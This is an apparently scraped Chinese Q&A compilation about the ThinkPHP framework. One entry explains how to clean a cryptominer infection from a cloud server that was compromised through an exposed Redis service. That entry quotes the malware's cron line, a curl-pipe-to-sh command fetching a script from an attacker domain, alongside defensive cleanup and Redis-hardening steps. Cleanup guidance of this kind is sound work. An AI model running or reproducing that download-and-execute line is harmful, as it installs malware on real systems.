thinkphp挖礦系統
1. ThinkPHP系統發生錯誤應該怎麼解決
應該是命名空間不正確,注意IndexController.class.php 第2行。
2. 如何用thinkPHP 構建一個簡單的項目
1、使用sftp協議進行上傳的操作:輸入用戶名和用戶密碼。
3. 阿里雲伺服器被挖礦了怎麼辦(純純電腦小白
1. 關閉訪問挖礦伺服器的訪問
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉執行許可權, 在沒有找到根源前,千萬不要刪除 minerd,因為刪除了,過一回會自動有生成一個。
3. pkill minerd ,殺掉進程
4. service stop crond 或者 crontab -r 刪除所有的執行計劃
5. 執行top,查看了一會,沒有再發現minerd 進程了。
6.檢查/var/spool/cron/目錄下發現有個root用戶的定時器文件。
下載腳本的語句:
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件內容如下,感興趣的可以研究下:
View Code
解決minerd並不是最終的目的,主要是要查找問題根源,我的伺服器問題出在了redis服務了,黑客利用了redis的一個漏洞獲得了伺服器的訪問許可權,http://blog.jobbole.com/94518/然後就注入了病毒,下面是解決辦法和清除工作:
1. 修復 redis 的後門,
配置bind選項, 限定可以連接Redis伺服器的IP, 並修改redis的默認埠6379.
配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
配置rename-command CONFIG 「RENAME_CONFIG」, 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
好消息是Redis作者表示將會開發」real user」,區分普通用戶和admin許可權,普通用戶將會被禁止運行某些命令,如conf
2. 打開 ~/.ssh/authorized_keys, 刪除你不認識的賬號
3. 查看你的用戶列表,是不是有你不認識的用戶添加進來。 如果有就刪除掉.
4. thinkphp主要有什麼用
1、他是一個國人開發的php框架,本質上就是相當於將代碼邏輯解耦出來,分模塊管理,增強類與方法的重用的同時更好的規范代碼編寫結構,方便二次開發。另外一個就是封裝好很多功能,如資料庫連接,緩存處理等,可以直接使用以達到快速開發的目的。
2、正如上個問題所說,他是一個國人開發的php框架,意思就是原生文檔就是中文的,在我國php使用中佔了相對較大的比重,所以一些常見問題可以很容易找到答案。你可以拿他來熟悉框架原理,以及開發一些日常的後台程序,快且簡單。但是所有框架的好處都是以損耗性能為前提的,號稱速度最快的yaf框架都會比原生php增加10%損耗(官方數據)
綜上所述,php框架有很多,主要是方便大家快速開發與減少二次開發工作量的,但本質還是php語言。很多人學習了TP之後就不會用php來做一些基本操作了(上面提到他有很多方法類已經封裝好直接用就可以了)。所以最好是學習好php,理解框架的原理,這樣無論公司要求你用哪個框架你都能快速上手,否則職業生涯發展會受到限制
5. thinkphp 5開發的開源系統,有同事推薦wstmart,有其他比較好的推薦的么
wstmart 系 統 挺 不 錯 的 啊 , 使 用 的 是 t h i n k p h p 5 . 0 的 框 架 , 功 能 方 面 支 持 主 流 的 在 線 支 付 、 支 持 多 維 商 品 屬 性 價 格 和 庫 存 管 理 、 支 持 商 超 一 體 、 支 持 菜 單 配 置 、 商 品 店 鋪 二 維 碼 , 還 支 持 三 級 分 銷 等 , 是 一 套 挺 不 錯 的 系 統 。
6. THINKPHP運行效率怎麼樣,二次開發難度如何,有用過的嗎指導小弟一下,感激不盡。
前段時間學習並實踐了一下,只是初步入門了。
用thinkphp開發中小型的系統 在運行效率上來說,是沒有問題的。
我感覺重要的是掌握和熟悉它的開發模式。 相對分離的開發模式,很適合拓展和維護。所以你說的二次開發是沒有問題的,它的文件目錄是很清晰的,熟練的話很方便。
學習成本還是有一些的,這個視個人情況而定。我個人感覺,用thinkphp,一些東西呢,可能不如直接用php來的直接和方便,或者說高效。但你要知道,為了維護方便,按照模式來,以後是有好處的。這些都取決於你對php的掌握程序,可以隨意靈活的利用它。
你甚至可以只利用其 表單認證的功能,資料庫相關的功能。
你學習並了解了,才能做出決策。
7. 面試的問我 thinkphp核心構架是什麼
ThinkPHP的架構: 是 核心 + 行為 + 驅動,TP官方簡稱為:CBD
核心(Core):就是框架的核心代碼,不可缺少的東西,TP本身是基於MVC思想開發的框架。
行為(Behavior) :行為在新版ThinkPHP的架構裡面起著舉足輕重的作用,在系統核心之上,設置了很多標簽擴展位,而每個標簽位置可以依次執行各自的獨立行為。行為擴展就因此而誕生了,而且很多系統功能也是通過內置的行為擴展完成的,所有行為擴展都是可替換和增加的,由此形成了底層框架可組裝的基礎。
驅動( Driver ):資料庫驅動、緩存驅動、標簽庫驅動和模板引擎驅動,以及外置的類擴展。
答案部分來自【知乎】
8. thinkphp的優勢
1、用最少的代碼完成最多的功能
2、優秀的理念和創新的模式
3、擁有完整的MVC和全內置的實現
4、理想的性能和完善的功能
5、完善的中文文檔和在線手冊
6、完美支持不同的資料庫
7、擁有眾多企業級特性
8、擁有快速的BUG響應和修復能力
9、走過了三年的積累和細節的完善
10、擁有社區化的團隊和開源力量
11、擁有眾多的第三方的衍生開源項目
12、讓你能夠比其他的團隊更加突出(^_^ )
那麼ThinkPHP將會是你明智的選擇!ThinkPHP擁有很多優秀的特性,包括:
簡單易用的MVC模式
獨創的核心編譯和項目編譯機制
內置 XML模板引擎,支持標簽庫
富模型支持
CURD和操作高度自動化支持
豐富的查詢語言支持
目錄結構自動創建
分布式資料庫支持
多資料庫連接和切換支持
ActiveRecords模式和ROR特性
靈活簡單的項目配置
模型自動驗證和處理
靜態頁面生成和多元化緩存機制
豐富的資料庫及PDO支持
SEO和URL路由支持
AJAX支持
易擴展的系統基類庫
自動編碼轉換
組件和插件支持
基於角色的許可權控制體系詳盡的開發指南和全中文注釋